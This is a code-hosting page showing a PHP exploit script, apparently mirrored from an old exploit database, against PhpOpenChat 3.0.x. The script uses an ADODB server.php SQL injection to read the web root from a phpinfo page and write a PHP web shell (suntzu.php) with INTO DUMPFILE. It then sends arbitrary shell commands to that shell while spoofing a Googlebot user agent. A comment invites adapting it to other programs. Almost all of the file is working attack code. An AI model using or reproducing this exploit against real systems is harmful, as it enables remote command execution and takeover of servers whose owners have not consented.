PageRenderTime 44ms CodeModel.GetById 16ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/1652.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 179 lines | 146 code | 7 blank | 26 comment | 24 complexity | 09c80d557bc92884a7bc72f70ea0ed8c MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";
  4. echo "by rgod rgod@autistici.org\r\n";
  5. echo "site: http://retrogod.altervista.org\r\n\r\n";
  6. echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";
  7. if ($argc<4) {
  8. echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
  9. echo "host: target server (ip/hostname)\r\n";
  10. echo "path: path to PhpOpenChat\r\n";
  11. echo "cmd: a shell command\r\n";
  12. echo "Options:\r\n";
  13. echo " -p[port]: specify a port other than 80\r\n";
  14. echo " -P[ip:port]: specify a proxy\r\n";
  15. echo "Examples:\r\n";
  16. echo "php ".$argv[0]." localhost /chat/ \r\n";
  17. echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";
  18. echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
  19. die;
  20. }
  21. /*
  22. this is based on
  23. http://www.securityfocus.com/bid/16187
  24. but... look at the server.php source code:
  25. ...
  26. $driver = 'mysql';
  27. $host = 'localhost'; // DSN for odbc
  28. $uid = 'root';
  29. $pwd = '';
  30. $database = 'test';
  31. ...
  32. you need a "root" user with no password, an existent "test" database
  33. and Mysql to have certain rights to write files...
  34. so, this vulnerability is very hard to exploit
  35. however, here is the code for PhpOpenChat, you can easily change it to work
  36. against the program you want
  37. */
  38. error_reporting(0);
  39. ini_set("max_execution_time",0);
  40. ini_set("default_socket_timeout",5);
  41. function quick_dump($string)
  42. {
  43. $result='';$exa='';$cont=0;
  44. for ($i=0; $i<=strlen($string)-1; $i++)
  45. {
  46. if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  47. {$result.=" .";}
  48. else
  49. {$result.=" ".$string[$i];}
  50. if (strlen(dechex(ord($string[$i])))==2)
  51. {$exa.=" ".dechex(ord($string[$i]));}
  52. else
  53. {$exa.=" 0".dechex(ord($string[$i]));}
  54. $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  55. }
  56. return $exa."\r\n".$result;
  57. }
  58. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  59. function sendpacketii($packet)
  60. {
  61. global $proxy, $host, $port, $html, $proxy_regex;
  62. if ($proxy=='') {
  63. $ock=fsockopen(gethostbyname($host),$port);
  64. if (!$ock) {
  65. echo 'No response from '.$host.':'.$port; die;
  66. }
  67. }
  68. else {
  69. $c = preg_match($proxy_regex,$proxy);
  70. if (!$c) {
  71. echo 'Not a valid proxy...';die;
  72. }
  73. $parts=explode(':',$proxy);
  74. echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  75. $ock=fsockopen($parts[0],$parts[1]);
  76. if (!$ock) {
  77. echo 'No response from proxy...';die;
  78. }
  79. }
  80. fputs($ock,$packet);
  81. if ($proxy=='') {
  82. $html='';
  83. while (!feof($ock)) {
  84. $html.=fgets($ock);
  85. }
  86. }
  87. else {
  88. $html='';
  89. while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  90. $html.=fread($ock,1);
  91. }
  92. }
  93. fclose($ock);
  94. #debug
  95. #echo "\r\n".$html;
  96. }
  97. $host=$argv[1];
  98. $path=$argv[2];
  99. $action=$argv[3];
  100. $cmd="";$port=80;$proxy="";
  101. for ($i=3; $i<=$argc-1; $i++){
  102. $temp=$argv[$i][0].$argv[$i][1];
  103. if (($temp<>"-p") and ($temp<>"-P"))
  104. {$cmd.=" ".$argv[$i];}
  105. if ($temp=="-p")
  106. {
  107. $port=str_replace("-p","",$argv[$i]);
  108. }
  109. if ($temp=="-P")
  110. {
  111. $proxy=str_replace("-P","",$argv[$i]);
  112. }
  113. }
  114. $cmd=urlencode($cmd);
  115. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  116. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  117. #step 1->read DOCUMENT ROOT from phpinfo
  118. $packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";
  119. $packet.="User-Agent: Googlebot/2.1\r\n";
  120. $packet.="Host: ".$host."\r\n";
  121. $packet.="Connection: Close\r\n\r\n";
  122. sendpacketii($packet);
  123. $temp=explode("DOCUMENT_ROOT </td><td class=\"v\">",$html);
  124. $temp2=explode(" </td></tr>",$temp[1]);
  125. $fullpath=$temp2[0];
  126. $fullpath=trim($fullpath);
  127. echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";
  128. $fullpath=str_replace("\\","\\\\\\\\",$fullpath); // win boxes
  129. if ($fullpath=="")
  130. {
  131. echo $html;
  132. die("\r\n\r\nCannot read phpinfo ...\r\n");
  133. }
  134. #step 2->execute a query (you can regardless of magic_quotes_gpc)
  135. $SQL ="SELECT '<?php echo chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";
  136. $SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
  137. $SQL=urlencode($SQL);
  138. $packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0\r\n";
  139. $packet.="User-Agent: Googlebot/2.1\r\n";
  140. $packet.="Host: ".$host."\r\n";
  141. $packet.="Connection: Close\r\n\r\n";
  142. sendpacketii($packet);
  143. if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
  144. {
  145. echo $html;
  146. die("\r\n\r\nExploit failed...\r\n");
  147. }
  148. sleep(1);
  149. #step 3->launch commands
  150. $packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
  151. $packet.="User-Agent: Googlebot/2.1\r\n";
  152. $packet.="Host: ".$host."\r\n";
  153. $packet.="Connection: Close\r\n\r\n";
  154. sendpacketii($packet);
  155. if (!strstr($html,"*delim*"))
  156. {
  157. echo $html;
  158. die("\r\n\r\nExploit failed...\r\n");
  159. }
  160. else
  161. {
  162. echo "Exploit succeeded...\r\n";
  163. $temp=explode("*delim*",$html);
  164. echo $temp[1];
  165. }
  166. ?>
  167. # milw0rm.com [2006-04-09]